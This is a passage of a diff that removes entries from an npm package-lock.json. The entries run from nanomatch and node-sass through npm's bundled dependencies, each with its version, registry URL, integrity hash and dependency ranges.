"sha512-ltW65co7f3PQWBDbqVvaU1WtFJUsNW7sWWm4HINhbMQIyVyzIeyZ8toX5TC5eeooE6piZoaEh4cZkueSKG3KYw==", - "dev": true, - "optional": true - }, - "node_modules/nanomatch": { - "version": "1.2.13", - "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", - "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", - "dev": true, - "dependencies": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "fragment-cache": "^0.2.1", - "is-windows": "^1.0.2", - "kind-of": "^6.0.2", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/nanomatch/node_modules/arr-diff": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", - "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/nanomatch/node_modules/array-unique": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", - "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/nanomatch/node_modules/kind-of": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/natural-compare": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", - "dev": true - }, - "node_modules/neo-async": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.5.1.tgz", - "integrity": "sha512-3KL3fvuRkZ7s4IFOMfztb7zJp3QaVWnBeGoJlgB38XnCRPj/0tLzzLG5IB8NYOHbJ8g8UGrgZv44GLDk6CxTxA==", - "dev": true - }, - "node_modules/nested-error-stacks": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/nested-error-stacks/-/nested-error-stacks-2.0.1.tgz", - "integrity": "sha512-SrQrok4CATudVzBS7coSz26QRSmlK9TzzoFbeKfcPBUFPjcQM9Rqvr/DlJkOrwI/0KcgvMub1n1g5Jt9EgRn4A==", - "dev": true - }, - "node_modules/next-tick": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.0.0.tgz", - "integrity": "sha1-yobR/ogoFpsBICCOPchCS524NCw=", - "dev": true - }, - "node_modules/nice-try": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", - "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", - "dev": true - }, - "node_modules/node-abi": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-2.3.0.tgz", - "integrity": "sha512-zwm6vU3SsVgw3e9fu48JBaRBCJGIvAgysDsqtf5+vEexFE71bEOtaMWb5zr/zODZNzTPtQlqUUpC79k68Hspow==", - "dev": true, - "optional": true, - "dependencies": { - "semver": "^5.4.1" - } - }, - "node_modules/node-fetch": { - "version": "1.7.3", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz", - "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==", - "dev": true, - "dependencies": { - "encoding": "^0.1.11", - "is-stream": "^1.0.1" - } - }, - "node_modules/node-gyp": { - "version": "3.6.2", - "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.6.2.tgz", - "integrity": "sha1-m/vlRWIoYoSDjnUOrAUpWFP6HGA=", - "dev": true, - "optional": true, - "dependencies": { - "fstream": "^1.0.0", - "glob": "^7.0.3", - "graceful-fs": "^4.1.2", - "minimatch": "^3.0.2", - "mkdirp": "^0.5.0", - "nopt": "2 || 3", - "npmlog": "0 || 1 || 2 || 3 || 4", - "osenv": "0", - "request": "2", - "rimraf": "2", - "semver": "~5.3.0", - "tar": "^2.0.0", - "which": "1" - }, - "bin": { - "node-gyp": "bin/node-gyp.js" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/node-gyp/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "optional": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/node-gyp/node_modules/nopt": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", - "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", - "dev": true, - "optional": true, - "dependencies": { - "abbrev": "1" - }, - "bin": { - "nopt": "bin/nopt.js" - } - }, - "node_modules/node-gyp/node_modules/rimraf": { - "version": "2.2.8", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.2.8.tgz", - "integrity": "sha1-5Dm+Kq7jJzIZUnMPmaiSnk/FBYI=", - "dev": true, - "optional": true, - "bin": { - "rimraf": "bin.js" - } - }, - "node_modules/node-gyp/node_modules/semver": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz", - "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8=", - "dev": true, - "optional": true, - "bin": { - "semver": "bin/semver" - } - }, - "node_modules/node-libs-browser": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.1.0.tgz", - "integrity": "sha512-5AzFzdoIMb89hBGMZglEegffzgRg+ZFoUmisQ8HI4j1KDdpx13J0taNp2y9xPbur6W61gepGDDotGBVQ7mfUCg==", - "dev": true, - "dependencies": { - "assert": "^1.1.1", - "browserify-zlib": "^0.2.0", - "buffer": "^4.3.0", - "console-browserify": "^1.1.0", - "constants-browserify": "^1.0.0", - "crypto-browserify": "^3.11.0", - "domain-browser": "^1.1.1", - "events": "^1.0.0", - "https-browserify": "^1.0.0", - "os-browserify": "^0.3.0", - "path-browserify": "0.0.0", - "process": "^0.11.10", - "punycode": "^1.2.4", - "querystring-es3": "^0.2.0", - "readable-stream": "^2.3.3", - "stream-browserify": "^2.0.1", - "stream-http": "^2.7.2", - "string_decoder": "^1.0.0", - "timers-browserify": "^2.0.4", - "tty-browserify": "0.0.0", - "url": "^0.11.0", - "util": "^0.10.3", - "vm-browserify": "0.0.4" - } - }, - "node_modules/node-libs-browser/node_modules/process-nextick-args": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", - "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", - "dev": true - }, - "node_modules/node-libs-browser/node_modules/readable-stream": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", - "dev": true, - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "node_modules/node-libs-browser/node_modules/string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "dependencies": { - "safe-buffer": "~5.1.0" - } - }, - "node_modules/node-libs-browser/node_modules/timers-browserify": { - "version": "2.0.10", - "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.10.tgz", - "integrity": "sha512-YvC1SV1XdOUaL6gx5CoGroT3Gu49pK9+TZ38ErPldOWW4j49GI1HKs9DV+KGq/w6y+LZ72W1c8cKz2vzY+qpzg==", - "dev": true, - "dependencies": { - "setimmediate": "^1.0.4" - }, - "engines": { - "node": ">=0.6.0" - } - }, - "node_modules/node-releases": { - "version": "1.0.0-alpha.10", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.0.0-alpha.10.tgz", - "integrity": "sha512-BSQrRgOfN6L/MoKIa7pRUc7dHvflCXMcqyTBvphixcSsgJTuUd24vAFONuNfVsuwTyz28S1HEc9XN6ZKylk4Hg==", - "dev": true, - "dependencies": { - "semver": "^5.3.0" - } - }, - "node_modules/node-sass": { - "version": "4.13.1", - "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.13.1.tgz", - "integrity": "sha512-TTWFx+ZhyDx1Biiez2nB0L3YrCZ/8oHagaDalbuBSlqXgUPsdkUSzJsVxeDO9LtPB49+Fh3WQl3slABo6AotNw==", - "dev": true, - "hasInstallScript": true, - "dependencies": { - "async-foreach": "^0.1.3", - "chalk": "^1.1.1", - "cross-spawn": "^3.0.0", - "gaze": "^1.0.0", - "get-stdin": "^4.0.1", - "glob": "^7.0.3", - "in-publish": "^2.0.0", - "lodash": "^4.17.15", - "meow": "^3.7.0", - "mkdirp": "^0.5.1", - "nan": "^2.13.2", - "node-gyp": "^3.8.0", - "npmlog": "^4.0.0", - "request": "^2.88.0", - "sass-graph": "^2.2.4", - "stdout-stream": "^1.4.0", - "true-case-path": "^1.0.2" - }, - "bin": { - "node-sass": "bin/node-sass" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/node-sass/node_modules/ajv": { - "version": "6.11.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.11.0.tgz", - "integrity": "sha512-nCprB/0syFYy9fVYU1ox1l2KN8S9I+tziH8D4zdZuLT3N6RMlGSGt5FSTpAiHB/Whv8Qs1cWHma1aMKZyaHRKA==", - "dev": true, - "dependencies": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - } - }, - "node_modules/node-sass/node_modules/aws4": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.9.1.tgz", - "integrity": "sha512-wMHVg2EOHaMRxbzgFJ9gtjOOCrI80OHLG14rxi28XwOW8ux6IiEbRCGGGqCtdAIg4FQCbW20k9RsT4y3gJlFug==", - "dev": true - }, - "node_modules/node-sass/node_modules/cross-spawn": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-3.0.1.tgz", - "integrity": "sha1-ElYDfsufDF9549bvE14wdwGEuYI=", - "dev": true, - "dependencies": { - "lru-cache": "^4.0.1", - "which": "^1.2.9" - } - }, - "node_modules/node-sass/node_modules/extend": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", - "dev": true - }, - "node_modules/node-sass/node_modules/fast-deep-equal": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.1.tgz", - "integrity": "sha512-8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA==", - "dev": true - }, - "node_modules/node-sass/node_modules/har-validator": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", - "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", - "deprecated": "this library is no longer supported", - "dev": true, - "dependencies": { - "ajv": "^6.5.5", - "har-schema": "^2.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/node-sass/node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - }, - "node_modules/node-sass/node_modules/lodash": { - "version": "4.17.15", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", - "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==", - "dev": true - }, - "node_modules/node-sass/node_modules/mime-db": { - "version": "1.43.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.43.0.tgz", - "integrity": "sha512-+5dsGEEovYbT8UY9yD7eE4XTc4UwJ1jBYlgaQQF38ENsKR3wj/8q8RFZrF9WIZpB2V1ArTVFUva8sAul1NzRzQ==", - "dev": true, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/node-sass/node_modules/mime-types": { - "version": "2.1.26", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.26.tgz", - "integrity": "sha512-01paPWYgLrkqAyrlDorC1uDwl2p3qZT7yl806vW7DvDoxwXi46jsjFbg+WdwotBIk6/MbEhO/dh5aZ5sNj/dWQ==", - "dev": true, - "dependencies": { - "mime-db": "1.43.0" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/node-sass/node_modules/nan": { - "version": "2.14.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.0.tgz", - "integrity": "sha512-INOFj37C7k3AfaNTtX8RhsTw7qRy7eLET14cROi9+5HAVbbHuIWUHEauBv5qT4Av2tWasiTY1Jw6puUNqRJXQg==", - "dev": true - }, - "node_modules/node-sass/node_modules/node-gyp": { - "version": "3.8.0", - "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz", - "integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==", - "dev": true, - "dependencies": { - "fstream": "^1.0.0", - "glob": "^7.0.3", - "graceful-fs": "^4.1.2", - "mkdirp": "^0.5.0", - "nopt": "2 || 3", - "npmlog": "0 || 1 || 2 || 3 || 4", - "osenv": "0", - "request": "^2.87.0", - "rimraf": "2", - "semver": "~5.3.0", - "tar": "^2.0.0", - "which": "1" - }, - "bin": { - "node-gyp": "bin/node-gyp.js" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/node-sass/node_modules/oauth-sign": { - "version": "0.9.0", - "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", - "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/node-sass/node_modules/qs": { - "version": "6.5.2", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", - "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==", - "dev": true, - "engines": { - "node": ">=0.6" - } - }, - "node_modules/node-sass/node_modules/request": { - "version": "2.88.0", - "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz", - "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==", - "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142", - "dev": true, - "dependencies": { - "aws-sign2": "~0.7.0", - "aws4": "^1.8.0", - "caseless": "~0.12.0", - "combined-stream": "~1.0.6", - "extend": "~3.0.2", - "forever-agent": "~0.6.1", - "form-data": "~2.3.2", - "har-validator": "~5.1.0", - "http-signature": "~1.2.0", - "is-typedarray": "~1.0.0", - "isstream": "~0.1.2", - "json-stringify-safe": "~5.0.1", - "mime-types": "~2.1.19", - "oauth-sign": "~0.9.0", - "performance-now": "^2.1.0", - "qs": "~6.5.2", - "safe-buffer": "^5.1.2", - "tough-cookie": "~2.4.3", - "tunnel-agent": "^0.6.0", - "uuid": "^3.3.2" - }, - "engines": { - "node": ">= 4" - } - }, - "node_modules/node-sass/node_modules/safe-buffer": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz", - "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==", - "dev": true - }, - "node_modules/node-sass/node_modules/semver": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz", - "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8=", - "dev": true, - "bin": { - "semver": "bin/semver" - } - }, - "node_modules/node-sass/node_modules/uuid": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", - "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", - "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", - "dev": true, - "bin": { - "uuid": "bin/uuid" - } - }, - "node_modules/node-sass/node_modules/which": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", - "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", - "dev": true, - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "which": "bin/which" - } - }, - "node_modules/node-wp-i18n": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/node-wp-i18n/-/node-wp-i18n-1.2.0.tgz", - "integrity": "sha512-HsvI4yYt+bZ1G92Sb4YmAz2xoC7t/YWct/OPa33ZczjLrRpp7R9Wj7vp1gq2bcrCI2U7MX8Kuw0Iy7AwEPohdA==", - "dev": true, - "dependencies": { - "bluebird": "^3.4.1", - "gettext-parser": "^1.2.0", - "glob": "^7.0.5", - "lodash": "^4.14.2", - "minimist": "^1.2.0", - "mkdirp": "^0.5.1", - "tmp": "^0.0.33" - }, - "bin": { - "wpi18n": "bin/wpi18n" - } - }, - "node_modules/noop-logger": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/noop-logger/-/noop-logger-0.1.1.tgz", - "integrity": "sha1-lKKxYzxPExdVMAfYlm/Q6EG2pMI=", - "dev": true, - "optional": true - }, - "node_modules/nopt": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", - "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", - "dev": true, - "dependencies": { - "abbrev": "1" - }, - "bin": { - "nopt": "bin/nopt.js" - } - }, - "node_modules/normalize-package-data": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", - "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", - "dev": true, - "dependencies": { - "hosted-git-info": "^2.1.4", - "is-builtin-module": "^1.0.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" - } - }, - "node_modules/normalize-path": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", - "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", - "dev": true, - "dependencies": { - "remove-trailing-separator": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/normalize-range": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", - "integrity": "sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/normalize-url": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-1.9.1.tgz", - "integrity": "sha1-LMDWazHqIwNkWENuNiDYWVTGbDw=", - "dev": true, - "dependencies": { - "object-assign": "^4.0.1", - "prepend-http": "^1.0.0", - "query-string": "^4.1.0", - "sort-keys": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/npm/-/npm-6.2.0.tgz", - "integrity": "sha512-GnlNsOnxwVJX4WSfyQY0gY3LnUX2cc46XU0eu1g+WSuZgDRUGmw8tuptitJu6byp0RWGT8ZEAKajblwdhQHN8A==", - "bundleDependencies": [ - "abbrev", - "ansicolors", - "ansistyles", - "aproba", - "archy", - "byte-size", - "cacache", - "call-limit", - "bluebird", - "bin-links", - "chownr", - "cmd-shim", - "columnify", - "config-chain", - "debuglog", - "detect-indent", - "detect-newline", - "dezalgo", - "editor", - "figgy-pudding", - "find-npm-prefix", - "fs-vacuum", - "fs-write-stream-atomic", - "gentle-fs", - "glob", - "graceful-fs", - "has-unicode", - "hosted-git-info", - "iferr", - "imurmurhash", - "inflight", - "inherits", - "ini", - "init-package-json", - "is-cidr", - "json-parse-better-errors", - "JSONStream", - "lazy-property", - "libcipm", - "libnpmhook", - "libnpx", - "lockfile", - "lodash._baseindexof", - "lodash._baseuniq", - "lodash._bindcallback", - "lodash._cacheindexof", - "lodash._createcache", - "lodash._getnative", - "lodash.clonedeep", - "lodash.restparam", - "lodash.union", - "lodash.uniq", - "lodash.without", - "lru-cache", - "meant", - "mkdirp", - "mississippi", - "move-concurrently", - "nopt", - "normalize-package-data", - "npm-audit-report", - "npm-cache-filename", - "npm-lifecycle", - "npm-install-checks", - "npm-package-arg", - "npm-packlist", - "npm-pick-manifest", - "npm-profile", - "npm-registry-client", - "npm-registry-fetch", - "npm-user-validate", - "npmlog", - "once", - "opener", - "osenv", - "pacote", - "path-is-inside", - "promise-inflight", - "query-string", - "qrcode-terminal", - "qw", - "read", - "read-cmd-shim", - "read-installed", - "read-package-json", - "read-package-tree", - "readable-stream", - "readdir-scoped-modules", - "request", - "retry", - "rimraf", - "semver", - "sha", - "slide", - "sorted-object", - "sorted-union-stream", - "ssri", - "tar", - "text-table", - "uid-number", - "umask", - "unique-filename", - "unpipe", - "update-notifier", - "uuid", - "validate-npm-package-license", - "validate-npm-package-name", - "which", - "wrappy", - "write-file-atomic", - "safe-buffer", - "worker-farm", - "tiny-relative-date", - "cli-columns", - "cli-table3", - "node-gyp", - "lock-verify" - ], - "dev": true, - "dependencies": { - "abbrev": "~1.1.1", - "ansicolors": "~0.3.2", - "ansistyles": "~0.1.3", - "aproba": "~1.2.0", - "archy": "~1.0.0", - "bin-links": "^1.1.2", - "bluebird": "~3.5.1", - "byte-size": "^4.0.3", - "cacache": "^11.0.2", - "call-limit": "~1.1.0", - "chownr": "~1.0.1", - "cli-columns": "^3.1.2", - "cli-table3": "^0.5.0", - "cmd-shim": "~2.0.2", - "columnify": "~1.5.4", - "config-chain": "~1.1.11", - "debuglog": "*", - "detect-indent": "~5.0.0", - "detect-newline": "^2.1.0", - "dezalgo": "~1.0.3", - "editor": "~1.0.0", - "figgy-pudding": "^3.1.0", - "find-npm-prefix": "^1.0.2", - "fs-vacuum": "~1.2.10", - "fs-write-stream-atomic": "~1.0.10", - "gentle-fs": "^2.0.1", - "glob": "~7.1.2", - "graceful-fs": "~4.1.11", - "has-unicode": "~2.0.1", - "hosted-git-info": "^2.6.0", - "iferr": "^1.0.0", - "imurmurhash": "*", - "inflight": "~1.0.6", - "inherits": "~2.0.3", - "ini": "^1.3.5", - "init-package-json": "^1.10.3", - "is-cidr": "^2.0.6", - "json-parse-better-errors": "^1.0.2", - "JSONStream": "^1.3.3", - "lazy-property": "~1.0.0", - "libcipm": "^2.0.0", - "libnpmhook": "^4.0.1", - "libnpx": "^10.2.0", - "lock-verify": "^2.0.2", - "lockfile": "^1.0.4", - "lodash._baseindexof": "*", - "lodash._baseuniq": "~4.6.0", - "lodash._bindcallback": "*", - "lodash._cacheindexof": "*", - "lodash._createcache": "*", - "lodash._getnative": "*", - "lodash.clonedeep": "~4.5.0", - "lodash.restparam": "*", - "lodash.union": "~4.6.0", - "lodash.uniq": "~4.5.0", - "lodash.without": "~4.4.0", - "lru-cache": "^4.1.3", - "meant": "~1.0.1", - "mississippi": "^3.0.0", - "mkdirp": "~0.5.1", - "move-concurrently": "^1.0.1", - "node-gyp": "^3.7.0", - "nopt": "~4.0.1", - "normalize-package-data": "~2.4.0", - "npm-audit-report": "^1.3.1", - "npm-cache-filename": "~1.0.2", - "npm-install-checks": "~3.0.0", - "npm-lifecycle": "^2.0.3", - "npm-package-arg": "^6.1.0", - "npm-packlist": "~1.1.10", - "npm-pick-manifest": "^2.1.0", - "npm-profile": "^3.0.2", - "npm-registry-client": "^8.5.1", - "npm-registry-fetch": "^1.1.0", - "npm-user-validate": "~1.0.0", - "npmlog": "~4.1.2", - "once": "~1.4.0", - "opener": "~1.4.3", - "osenv": "^0.1.5", - "pacote": "^8.1.6", - "path-is-inside": "~1.0.2", - "promise-inflight": "~1.0.1", - "qrcode-terminal": "^0.12.0", - "query-string": "^6.1.0", - "qw": "~1.0.1", - "read": "~1.0.7", - "read-cmd-shim": "~1.0.1", - "read-installed": "~4.0.3", - "read-package-json": "^2.0.13", - "read-package-tree": "^5.2.1", - "readable-stream": "^2.3.6", - "readdir-scoped-modules": "*", - "request": "^2.81.0", - "retry": "^0.12.0", - "rimraf": "~2.6.2", - "safe-buffer": "^5.1.2", - "semver": "^5.5.0", - "sha": "~2.0.1", - "slide": "~1.1.6", - "sorted-object": "~2.0.1", - "sorted-union-stream": "~2.1.3", - "ssri": "^6.0.0", - "tar": "^4.4.4", - "text-table": "~0.2.0", - "tiny-relative-date": "^1.3.0", - "uid-number": "0.0.6", - "umask": "~1.1.0", - "unique-filename": "~1.1.0", - "unpipe": "~1.0.0", - "update-notifier": "^2.5.0", - "uuid": "^3.3.2", - "validate-npm-package-license": "^3.0.3", - "validate-npm-package-name": "~3.0.0", - "which": "^1.3.1", - "worker-farm": "^1.6.0", - "wrappy": "~1.0.2", - "write-file-atomic": "^2.3.0" - }, - "bin": { - "npm": "bin/npm-cli.js", - "npx": "bin/npx-cli.js" - } - }, - "node_modules/npm-run-path": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", - "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", - "dev": true, - "dependencies": { - "path-key": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/abbrev": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", - "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/agent-base": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.2.0.tgz", - "integrity": "sha512-c+R/U5X+2zz2+UCrCFv6odQzJdoqI+YecuhnAJLa1zYaMc13zPfwMwZrr91Pd1DYNo/yPRbiM4WVf9whgwFsIg==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "es6-promisify": "^5.0.0" - }, - "engines": { - "node": ">= 4.0.0" - } - }, - "node_modules/npm/node_modules/agentkeepalive": { - "version": "3.4.1", - "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-3.4.1.tgz", - "integrity": "sha512-MPIwsZU9PP9kOrZpyu2042kYA8Fdt/AedQYkYXucHgF9QoD9dXVp0ypuGnHXSR0hTstBxdt85Xkh4JolYfK5wg==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "humanize-ms": "^1.2.1" - }, - "engines": { - "node": ">= 4.0.0" - } - }, - "node_modules/npm/node_modules/ansi-align": { - "version": "2.0.0", 